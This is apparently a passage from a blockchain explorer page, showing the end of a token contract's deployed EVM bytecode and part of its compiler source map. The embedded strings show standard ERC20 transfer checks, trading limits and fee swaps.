1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610920573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610944919061182b565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af115801561098e573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109b2919061182b565b601280546001600160a01b039283166001600160a01b03199091161790556011541663f305d71947306109f9816001600160a01b03165f9081526001602052604090205490565b5f80610a0c5f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610a72573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610a979190611846565b50506012546001600160a01b03169050610aaf575f80fd5b60125460115460405163095ea7b360e01b81526001600160a01b0391821660048201525f19602482015291169063095ea7b3906044016020604051808303815f875af1158015610b01573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610b25919061180c565b50600480546001600160a01b039092166001600160a01b0319909216821790555f908152600360205260409020805460ff19166001179055565b5f6103cb338484610cd0565b5f546001600160a01b03163314610b945760405162461bcd60e51b81526004016103fe906116a7565b6012805462ff00ff60a01b19166201000160a01b179055565b6001600160a01b038316610c0f5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103fe565b6001600160a01b038216610c705760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103fe565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d345760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103fe565b6001600160a01b038216610d965760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103fe565b5f8111610df75760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016103fe565b5f80546001600160a01b03858116911614801590610e2257505f546001600160a01b03848116911614155b156110cf576012546001600160a01b0390811690851603610e6657610e6360646105bf600954600c5411610e5857600554610e5c565b6007545b8590611244565b90505b6012546001600160a01b038581169116148015610e9157506011546001600160a01b03848116911614155b8015610eb557506001600160a01b0383165f9081526003602052604090205460ff16155b15610feb57601254600160a01b900460ff16610f0a5760405162461bcd60e51b8152602060048201526014602482015273151c98591a5b99c81b9bdd081bdc195b881e595d60621b60448201526064016103fe565b600d54821115610f5c5760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e0000000000000060448201526064016103fe565b600e5482610f7e856001600160a01b03165f9081526001602052604090205490565b610f889190611871565b1115610fd65760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016103fe565b600c8054905f610fe583611884565b91905055505b6012546001600160a01b03848116911614801561101157506001600160a01b0384163014155b1561103e5761103b60646105bf600a54600c541161103157600654610e5c565b6008548590611244565b90505b305f90815260016020526040902054601254600160a81b900460ff1615801561107457506012546001600160a01b038581169116145b80156110895750601254600160b01b900460ff165b80156110985750600b54600c54115b156110cd57600f548111156110c4576110c46110bf846110ba84601054611303565b611303565b611317565b6110cd47611487565b505b801561114757305f908152600160205260409020546110ee90826114c2565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061113e9085815260200190565b60405180910390a35b6001600160a01b0384165f908152600160205260409020546111699083611520565b6001600160a01b0385165f908152600160205260409020556111ac61118e8383611520565b6001600160a01b0385165f90815260016020526040902054906114c2565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6111f58585611520565b60405190815260200160405180910390a350505050565b5f818484111561122f5760405162461bcd60e51b81526004016103fe919061158d565b505f61123b848661189c565b95945050505050565b5f825f0361125357505f6103cf565b5f61125e83856117de565b90508261126b85836118af565b146105145760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016103fe565b5f61051483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611561565b5f8183116113115782610514565b50919050565b6012805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f8151811061135d5761135d6118ce565b6001600160a01b03928316602091820292909201810191909152601154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156113b4573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906113d8919061182b565b816001815181106113eb576113eb6118ce565b6001600160a01b0392831660209182029290920101526011546114119130911684610bad565b60115460405163791ac94760e01b81526001600160a01b039091169063791ac947906114499085905f908690309042906004016118e2565b5f604051808303815f87803b158015611460575f80fd5b505af1158015611472573d5f803e3d5ffd5b50506012805460ff60a81b1916905550505050565b6004546040516001600160a01b039091169082156108fc029083905f818181858888f193505050501580156114be573d5f803e3d5ffd5b5050565b5f806114ce8385611871565b9050838110156105145760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103fe565b5f61051483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061120c565b5f81836115815760405162461bcd60e51b81526004016103fe919061158d565b505f61123b84866118af565b5f602080835283518060208501525f5b818110156115b95785810183015185820160400152820161159d565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610449575f80fd5b5f80604083850312156115fe575f80fd5b8235611609816115d9565b946020939093013593505050565b5f805f60608486031215611629575f80fd5b8335611634816115d9565b92506020840135611644816115d9565b929592945050506040919091013590565b5f60208284031215611665575f80fd5b8135610514816115d9565b5f8060408385031215611681575f80fd5b823561168c816115d9565b9150602083013561169c816115d9565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561172a57815f1904821115611710576117106116dc565b8085161561171d57918102915b93841c93908002906116f5565b509250929050565b5f82611740575060016103cf565b8161174c57505f6103cf565b8160018114611762576002811461176c57611788565b60019150506103cf565b60ff84111561177d5761177d6116dc565b50506001821b6103cf565b5060208310610133831016604e8410600b84101617156117ab575081810a6103cf565b6117b583836116f0565b805f19048211156117c8576117c86116dc565b029392505050565b5f61051460ff841683611732565b80820281158282048414176103cf576103cf6116dc565b5f60208284031215611805575f80fd5b5051919050565b5f6020828403121561181c575f80fd5b81518015158114610514575f80fd5b5f6020828403121561183b575f80fd5b8151610514816115d9565b5f805f60608486031215611858575f80fd5b8351925060208401519150604084015190509250925092565b808201808211156103cf576103cf6116dc565b5f60018201611895576118956116dc565b5060010190565b818103818111156103cf576103cf6116dc565b5f826118c957634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b818110156119325784516001600160a01b03168352938301939183019160010161190d565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212208310981448aa4169010b563c0bb321308e247e237a96bbc04b4281d9eca8fd8364736f6c63430008180033
Deployed Bytecode Sourcemap
3693:7481:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5402:83;;;;;;;;;;-1:-1:-1;5472:5:0;;;;;;;;;;;;-1:-1:-1;;;5472:5:0;;;;5402:83;;;;;;;:::i;:::-;;;;;;;;6235:161;;;;;;;;;;-1:-1:-1;6235:161:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;6235:161:0;1023:187:1;4706:45:0;;;;;;;;;;;;;;;;;;;1361:25:1;;;1349:2;1334:18;4706:45:0;1215:177:1;7270:152:0;;;;;;;;;;;;;:::i;:::-;;5679:95;;;;;;;;;;;;;:::i;6404:359::-;;;;;;;;;;-1:-1:-1;6404:359:0;;;;;:::i;:::-;;:::i;5588:83::-;;;;;;;;;;-1:-1:-1;5588:83:0;;4351:1;2000:36:1;;1988:2;1973:18;5588:83:0;1858:184:1;7434:271:0;;;;;;;;;;-1:-1:-1;7434:271:0;;;;;:::i;:::-;;:::i;5782:119::-;;;;;;;;;;-1:-1:-1;5782:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;5875:18:0;5848:7;5875:18;;;:9;:18;;;;;;;5782:119;2671:148;;;;;;;;;;;;;:::i;10044:160::-;;;;;;;;;;;;;:::i;4538:47::-;;;;;;;;;;;;;;;;10212:754;;;;;;;;;;-1:-1:-1;10212:754:0;;;;;:::i;:::-;;:::i;2457:79::-;;;;;;;;;;-1:-1:-1;2495:7:0;2522:6;2457:79;;-1:-1:-1;;;;;2522:6:0;;;2445:51:1;;2433:2;2418:18;2457:79:0;2299:203:1;4592:49:0;;;;;;;;;;;;;;;;5493:87;;;;;;;;;;-1:-1:-1;5565:7:0;;;;;;;;;;;;-1:-1:-1;;;5565:7:0;;;;5493:87;;5909:167;;;;;;;;;;-1:-1:-1;5909:167:0;;;;;:::i;:::-;;:::i;4648:51::-;;;;;;;;;;;;;;;;6084:143;;;;;;;;;;-1:-1:-1;6084:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;6192:18:0;;;6165:7;6192:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6084:143;7155:107;;;;;;;;;;;;;:::i;6235:161::-;6310:4;6327:39;292:10;6350:7;6359:6;6327:8;:39::i;:::-;-1:-1:-1;6384:4:0;6235:161;;;;;:::o;7270:152::-;2584:6;;-1:-1:-1;;;;;2584:6:0;292:10;2584:22;2576:67;;;;-1:-1:-1;;;2576:67:0;;;;;;;:::i;:::-;;;;;;;;;7353:1:::1;7329:21;:25;7321:34;;;::::0;::::1;;2495:7:::0;2522:6;;7366:48:::1;::::0;-1:-1:-1;;;;;2522:6:0;;;;7392:21:::1;7366:48:::0;::::1;;;::::0;7392:21;;7366:48;2495:7;7366:48;7392:21;2522:6;7366:48;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;7270:152::o:0;5679:95::-;5732:7;4412:13;4351:1;4412:2;:13;:::i;:::-;4394:31;;:15;:31;:::i;:::-;5752:14;;5679:95;:::o;6404:359::-;6493:4;6510:27;6520:4;6526:2;6530:6;6510:9;:27::i;:::-;6545:10;;-1:-1:-1;;;;;6545:10:0;292;2908:6;6542:57;;;;;6574:25;6577:7;2495;2522:6;-1:-1:-1;;;;;2522:6:0;;2457:79;6577:7;-1:-1:-1;;;;;2908:6:0;292:10;2908:6;;2827:95;6574:25;6573:26;6542:57;6539:73;;;-1:-1:-1;6608:4:0;6601:11;;6539:73;6624:109;6633:4;6639;6645:87;6681:6;6645:87;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;6645:17:0;;;;;;:11;:17;;;;;;;;292:10;6645:31;;;;;;;;;;:35;:87::i;:::-;6624:8;:109::i;:::-;-1:-1:-1;6751:4:0;6404:359;;;;;;:::o;7434:271::-;2584:6;;-1:-1:-1;;;;;2584:6:0;292:10;2584:22;2576:67;;;;-1:-1:-1;;;2576:67:0;;;;;;;:::i;:::-;7538:55:::1;::::0;-1:-1:-1;;;7538:55:0;;7587:4:::1;7538:55;::::0;::::1;2445:51:1::0;7520:15:0::1;::::0;7538:105:::1;::::0;7639:3:::1;::::0;7538:82:::1;::::0;7612:7;;-1:-1:-1;;;;;7538:40:0;::::1;::::0;::::1;::::0;2418:18:1;;7538:55:0::1;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;:73:::0;::::1;:82::i;:::-;:100:::0;::::1;:105::i;:::-;7520:123;;7661:8;-1:-1:-1::0;;;;;7654:25:0::1;;7680:7;2495::::0;2522:6;-1:-1:-1;;;;;2522:6:0;;2457:79;7680:7:::1;7654:43;::::0;-1:-1:-1;;;;;;7654:43:0::1;::::0;;;;;;-1:-1:-1;;;;;5324:32:1;;;7654:43:0::1;::::0;::::1;5306:51:1::0;5373:18;;;5366:34;;;5279:18;;7654:43:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;7509:196;7434:271:::0;;:::o;2671:148::-;2584:6;;-1:-1:-1;;;;;2584:6:0;292:10;2584:22;2576:67;;;;-1:-1:-1;;;2576:67:0;;;;;;;:::i;:::-;2778:1:::1;2762:6:::0;;2741:40:::1;::::0;-1:-1:-1;;;;;2762:6:0;;::::1;::::0;2741:40:::1;::::0;2778:1;;2741:40:::1;2809:1;2792:19:::0;;-1:-1:-1;;;;;;2792:19:0::1;::::0;;2671:148::o;10044:160::-;2584:6;;-1:-1:-1;;;;;2584:6:0;292:10;2584:22;2576:67;;;;-1:-1:-1;;;2576:67:0;;;;;;;:::i;:::-;4412:13:::1;4351:1;4412:2;:13;:::i;:::-;4394:31;::::0;:15:::1;:31;:::i;:::-;10098:12;:22:::0;4412:13:::1;4351:1;4412:2;:13;:::i;:::-;4394:31;::::0;:15:::1;:31;:::i;:::-;10131:14;:22:::0;10169:27:::1;4412:13;4351:1;4412:2;:13;:::i;:::-;4394:31;::::0;:15:::1;:31;:::i;:::-;10169:27;::::0;1361:25:1;;;1349:2;1334:18;10169:27:0::1;;;;;;;10044:160::o:0;10212:754::-;2584:6;;-1:-1:-1;;;;;2584:6:0;292:10;2584:22;2576:67;;;;-1:-1:-1;;;2576:67:0;;;;;;;:::i;:::-;10290:11:::1;::::0;-1:-1:-1;;;10290:11:0;::::1;;;10289:12;10281:47;;;::::0;-1:-1:-1;;;10281:47:0;;5895:2:1;10281:47:0::1;::::0;::::1;5877:21:1::0;5934:2;5914:18;;;5907:30;5973:25;5953:18;;;5946:53;6016:18;;10281:47:0::1;5693:347:1::0;10281:47:0::1;10339:15;:89:::0;;-1:-1:-1;;;;;;10339:89:0::1;10384:42;10339:89:::0;;::::1;::::0;;;10439:58:::1;::::0;10456:4:::1;::::0;4412:13:::1;4351:1;4412:2;:13;:::i;:::-;4394:31;::::0;:15:::1;:31;:::i;10439:58::-;10542:15;;;;;;;;;-1:-1:-1::0;;;;;10542:15:0::1;-1:-1:-1::0;;;;;10542:23:0::1;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10524:55:0::1;;10588:4;10595:15;;;;;;;;;-1:-1:-1::0;;;;;10595:15:0::1;-1:-1:-1::0;;;;;10595:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10524:94;::::0;-1:-1:-1;;;;;;10524:94:0::1;::::0;;;;;;-1:-1:-1;;;;;6531:15:1;;;10524:94:0::1;::::0;::::1;6513:34:1::0;6583:15;;6563:18;;;6556:43;6448:18;;10524:94:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10508:13;:110:::0;;-1:-1:-1;;;;;10508:110:0;;::::1;-1:-1:-1::0;;;;;;10508:110:0;;::::1;;::::0;;10629:15:::1;::::0;::::1;:31;10668:21;10699:4;10705:24;10699:4:::0;-1:-1:-1;;;;;5875:18:0;5848:7;5875:18;;;:9;:18;;;;;;;5782:119;10705:24:::1;10730:1;10732::::0;10734:7:::1;2495::::0;2522:6;-1:-1:-1;;;;;2522:6:0;;2457:79;10734:7:::1;10629:129;::::0;::::1;::::0;;;-1:-1:-1;;;;;;10629:129:0;;;-1:-1:-1;;;;;6969:15:1;;;10629:129:0::1;::::0;::::1;6951:34:1::0;7001:18;;;6994:34;;;;7044:18;;;7037:34;;;;7087:18;;;7080:34;7151:15;;;7130:19;;;7123:44;10742:15:0::1;7183:19:1::0;;;7176:35;6885:19;;10629:129:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;10777:13:0::1;::::0;-1:-1:-1;;;;;10777:13:0::1;::::0;-1:-1:-1;10769:36:0::1;;;::::0;::::1;;10823:13;::::0;10854:15:::1;::::0;10816:71:::1;::::0;-1:-1:-1;;;10816:71:0;;-1:-1:-1;;;;;10854:15:0;;::::1;10816:71;::::0;::::1;5306:51:1::0;-1:-1:-1;;5373:18:1;;;5366:34;10823:13:0;::::1;::::0;10816:29:::1;::::0;5279:18:1;;10816:71:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;10898:10:0::1;:26:::0;;-1:-1:-1;;;;;10898:26:0;;::::1;-1:-1:-1::0;;;;;;10898:26:0;;::::1;::::0;::::1;::::0;;:10:::1;10935:16:::0;;;:10:::1;:16;::::0;;;;:23;;-1:-1:-1;;10935:23:0::1;10898:26:::0;10935:23:::1;::::0;;10212:754::o;5909:167::-;5987:4;6004:42;292:10;6028:9;6039:6;6004:9;:42::i;7155:107::-;2584:6;;-1:-1:-1;;;;;2584:6:0;292:10;2584:22;2576:67;;;;-1:-1:-1;;;2576:67:0;;;;;;;:::i;:::-;7207:11:::1;:18:::0;;-1:-1:-1;;;;7236:18:0;-1:-1:-1;;;7236:18:0;;;7155:107::o;6775:335::-;-1:-1:-1;;;;;6868:19:0;;6860:68;;;;-1:-1:-1;;;6860:68:0;;7735:2:1;6860:68:0;;;7717:21:1;7774:2;7754:18;;;7747:30;7813:34;7793:18;;;7786:62;-1:-1:-1;;;7864:18:1;;;7857:34;7908:19;;6860:68:0;7533:400:1;6860:68:0;-1:-1:-1;;;;;6947:21:0;;6939:68;;;;-1:-1:-1;;;6939:68:0;;8140:2:1;6939:68:0;;;8122:21:1;8179:2;8159:18;;;8152:30;8218:34;8198:18;;;8191:62;-1:-1:-1;;;8269:18:1;;;8262:32;8311:19;;6939:68:0;7938:398:1;6939:68:0;-1:-1:-1;;;;;7018:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;7070:32;;1361:25:1;;;7070:32:0;;1334:18:1;7070:32:0;;;;;;;6775:335;;;:::o;7713:1834::-;-1:-1:-1;;;;;7801:18:0;;7793:68;;;;-1:-1:-1;;;7793:68:0;;8543:2:1;7793:68:0;;;8525:21:1;8582:2;8562:18;;;8555:30;8621:34;8601:18;;;8594:62;-1:-1:-1;;;8672:18:1;;;8665:35;8717:19;;7793:68:0;8341:401:1;7793:68:0;-1:-1:-1;;;;;7880:16:0;;7872:64;;;;-1:-1:-1;;;7872:64:0;;8949:2:1;7872:64:0;;;8931:21:1;8988:2;8968:18;;;8961:30;9027:34;9007:18;;;9000:62;-1:-1:-1;;;9078:18:1;;;9071:33;9121:19;;7872:64:0;8747:399:1;7872:64:0;7964:1;7955:6;:10;7947:64;;;;-1:-1:-1;;;7947:64:0;;9353:2:1;7947:64:0;;;9335:21:1;9392:2;9372:18;;;9365:30;9431:34;9411:18;;;9404:62;-1:-1:-1;;;9482:18:1;;;9475:39;9531:19;;7947:64:0;9151:405:1;7947:64:0;8022:17;2522:6;;-1:-1:-1;;;;;8056:15:0;;;2522:6;;8056:15;;;;:32;;-1:-1:-1;2495:7:0;2522:6;-1:-1:-1;;;;;8075:13:0;;;2522:6;;8075:13;;8056:32;8052:1139;;;8116:13;;-1:-1:-1;;;;;8116:13:0;;;8108:21;;;;8105:131;;8160:76;8232:3;8160:67;8182:15;;8172:9;;:25;8171:55;;8212:14;;8171:55;;;8199:12;;8171:55;8160:6;;:10;:67::i;:76::-;8148:88;;8105:131;8265:13;;-1:-1:-1;;;;;8257:21:0;;;8265:13;;8257:21;:55;;;;-1:-1:-1;8296:15:0;;-1:-1:-1;;;;;8282:30:0;;;8296:15;;8282:30;;8257:55;:75;;;;-1:-1:-1;;;;;;8318:14:0;;;;;;:10;:14;;;;;;;;8316:16;8257:75;8253:367;;;8362:11;;-1:-1:-1;;;8362:11:0;;;;8354:43;;;;-1:-1:-1;;;8354:43:0;;9763:2:1;8354:43:0;;;9745:21:1;9802:2;9782:18;;;9775:30;-1:-1:-1;;;9821:18:1;;;9814:50;9881:18;;8354:43:0;9561:344:1;8354:43:0;8434:12;;8424:6;:22;;8416:60;;;;-1:-1:-1;;;8416:60:0;;10112:2:1;8416:60:0;;;10094:21:1;10151:2;10131:18;;;10124:30;10190:27;10170:18;;;10163:55;10235:18;;8416:60:0;9910:349:1;8416:60:0;8529:14;;8519:6;8503:13;8513:2;-1:-1:-1;;;;;5875:18:0;5848:7;5875:18;;;:9;:18;;;;;;;5782:119;8503:13;:22;;;;:::i;:::-;:40;;8495:79;;;;-1:-1:-1;;;8495:79:0;;10596:2:1;8495:79:0;;;10578:21:1;10635:2;10615:18;;;10608:30;10674:28;10654:18;;;10647:56;10720:18;;8495:79:0;10394:350:1;8495:79:0;8593:9;:11;;;:9;:11;;;:::i;:::-;;;;;;8253:367;8645:13;;-1:-1:-1;;;;;8639:19:0;;;8645:13;;8639:19;:43;;;;-1:-1:-1;;;;;;8662:20:0;;8677:4;8662:20;;8639:43;8636:174;;;8715:79;8790:3;8715:70;8737:16;;8727:9;;:26;8726:58;;8769:15;;8726:58;;;8755:13;;8715:6;;:10;:70::i;:79::-;8703:91;;8636:174;8875:4;8826:28;5875:18;;;:9;:18;;;;;;8901:6;;-1:-1:-1;;;8901:6:0;;;;8900:7;:30;;;;-1:-1:-1;8917:13:0;;-1:-1:-1;;;;;8911:19:0;;;8917:13;;8911:19;8900:30;:45;;;;-1:-1:-1;8934:11:0;;-1:-1:-1;;;8934:11:0;;;;8900:45;:79;;;;;8961:18;;8949:9;;:30;8900:79;8896:284;;;9026:17;;9003:20;:40;9000:112;;;9045:67;9060:51;9064:6;9072:38;9076:20;9098:11;;9072:3;:38::i;:::-;9060:3;:51::i;:::-;9045:14;:67::i;:::-;9131:33;9142:21;9131:10;:33::i;:::-;8090:1101;8052:1139;9206:11;;9203:161;;9274:4;9256:24;;;;:9;:24;;;;;;:39;;9285:9;9256:28;:39::i;:::-;9249:4;9231:24;;;;:9;:24;;;;;;;:64;;;;9313:39;;-1:-1:-1;;;;;9313:39:0;;;;;;;9342:9;1361:25:1;;1349:2;1334:18;;1215:177;9313:39:0;;;;;;;;9203:161;-1:-1:-1;;;;;9390:15:0;;;;;;:9;:15;;;;;;:27;;9410:6;9390:19;:27::i;:::-;-1:-1:-1;;;;;9374:15:0;;;;;;:9;:15;;;;;:43;9442:40;9460:21;:6;9471:9;9460:10;:21::i;:::-;-1:-1:-1;;;;;9442:13:0;;;;;;:9;:13;;;;;;;:17;:40::i;:::-;-1:-1:-1;;;;;9428:13:0;;;;;;;:9;:13;;;;;:54;;;;9498:41;;;9517:21;:6;9528:9;9517:10;:21::i;:::-;9498:41;;1361:25:1;;;1349:2;1334:18;9498:41:0;;;;;;;7782:1765;7713:1834;;;:::o;1349:190::-;1435:7;1471:12;1463:6;;;;1455:29;;;;-1:-1:-1;;;1455:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1495:9:0;1507:5;1511:1;1507;:5;:::i;:::-;1495:17;1349:190;-1:-1:-1;;;;;1349:190:0:o;1547:246::-;1605:7;1629:1;1634;1629:6;1625:47;;-1:-1:-1;1659:1:0;1652:8;;1625:47;1682:9;1694:5;1698:1;1694;:5;:::i;:::-;1682:17;-1:-1:-1;1727:1:0;1718:5;1722:1;1682:17;1718:5;:::i;:::-;:10;1710:56;;;;-1:-1:-1;;;1710:56:0;;11446:2:1;1710:56:0;;;11428:21:1;11485:2;11465:18;;;11458:30;11524:34;11504:18;;;11497:62;-1:-1:-1;;;11575:18:1;;;11568:31;11616:19;;1710:56:0;11244:397:1;1801:132:0;1859:7;1886:39;1890:1;1893;1886:39;;;;;;;;;;;;;;;;;:3;:39::i;10974:99::-;11031:7;11059:1;11057;:3;11056:9;;11064:1;11056:9;;;-1:-1:-1;11062:1:0;10974:99;-1:-1:-1;10974:99:0:o;9555:481::-;5035:6;:13;;-1:-1:-1;;;;5035:13:0;-1:-1:-1;;;5035:13:0;;;9655:16:::1;::::0;;9669:1:::1;9655:16:::0;;;;;::::1;::::0;;-1:-1:-1;;9655:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;9655:16:0::1;9631:40;;9700:4;9682;9687:1;9682:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;9682:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;9726:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;9726:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;9682:7;;9726:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;9716:4;9721:1;9716:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;9716:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;9791:15:::1;::::0;9759:62:::1;::::0;9776:4:::1;::::0;9791:15:::1;9809:11:::0;9759:8:::1;:62::i;:::-;9832:15;::::0;:196:::1;::::0;-1:-1:-1;;;9832:196:0;;-1:-1:-1;;;;;9832:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;9913:11;;9832:15:::1;::::0;9955:4;;9982::::1;::::0;10002:15:::1;::::0;9832:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5071:6:0;:14;;-1:-1:-1;;;;5071:14:0;;;-1:-1:-1;;;;9555:481:0:o;11081:90::-;11136:10;;:27;;-1:-1:-1;;;;;11136:10:0;;;;:27;;;;;11156:6;;11136:10;:27;:10;:27;11156:6;11136:10;:27;;;;;;;;;;;;;;;;;;;;;11081:90;:::o;1018:179::-;1076:7;;1108:5;1112:1;1108;:5;:::i;:::-;1096:17;;1137:1;1132;:6;;1124:46;;;;-1:-1:-1;;;1124:46:0;;13097:2:1;1124:46:0;;;13079:21:1;13136:2;13116:18;;;13109:30;13175:29;13155:18;;;13148:57;13222:18;;1124:46:0;12895:351:1;1205:136:0;1263:7;1290:43;1294:1;1297;1290:43;;;;;;;;;;;;;;;;;:3;:43::i;1941:189::-;2027:7;2062:12;2055:5;2047:28;;;;-1:-1:-1;;;2047:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2086:9:0;2098:5;2102:1;2098;:5;:::i;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;703:315;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1397:456::-;1474:6;1482;1490;1543:2;1531:9;1522:7;1518:23;1514:32;1511:52;;;1559:1;1556;1549:12;1511:52;1598:9;1585:23;1617:31;1642:5;1617:31;:::i;:::-;1667:5;-1:-1:-1;1724:2:1;1709:18;;1696:32;1737:33;1696:32;1737:33;:::i;:::-;1397:456;;1789:7;;-1:-1:-1;;;1843:2:1;1828:18;;;;1815:32;;1397:456::o;2047:247::-;2106:6;2159:2;2147:9;2138:7;2134:23;2130:32;2127:52;;;2175:1;2172;2165:12;2127:52;2214:9;2201:23;2233:31;2258:5;2233:31;:::i;2507:388::-;2575:6;2583;2636:2;2624:9;2615:7;2611:23;2607:32;2604:52;;;2652:1;2649;2642:12;2604:52;2691:9;2678:23;2710:31;2735:5;2710:31;:::i;:::-;2760:5;-1:-1:-1;2817:2:1;2802:18;;2789:32;2830:33;2789:32;2830:33;:::i;:::-;2882:7;2872:17;;;2507:388;;;;;:::o;2900:356::-;3102:2;3084:21;;;3121:18;;;3114:30;3180:34;3175:2;3160:18;;3153:62;3247:2;3232:18;;2900:356::o;3261:127::-;3322:10;3317:3;3313:20;3310:1;3303:31;3353:4;3350:1;3343:15;3377:4;3374:1;3367:15;3393:416;3482:1;3519:5;3482:1;3533:270;3554:7;3544:8;3541:21;3533:270;;;3613:4;3609:1;3605:6;3601:17;3595:4;3592:27;3589:53;;;3622:18;;:::i;:::-;3672:7;3662:8;3658:22;3655:55;;;3692:16;;;;3655:55;3771:22;;;;3731:15;;;;3533:270;;;3537:3;3393:416;;;;;:::o;3814:806::-;3863:5;3893:8;3883:80;;-1:-1:-1;3934:1:1;3948:5;;3883:80;3982:4;3972:76;;-1:-1:-1;4019:1:1;4033:5;;3972:76;4064:4;4082:1;4077:59;;;;4150:1;4145:130;;;;4057:218;;4077:59;4107:1;4098:10;;4121:5;;;4145:130;4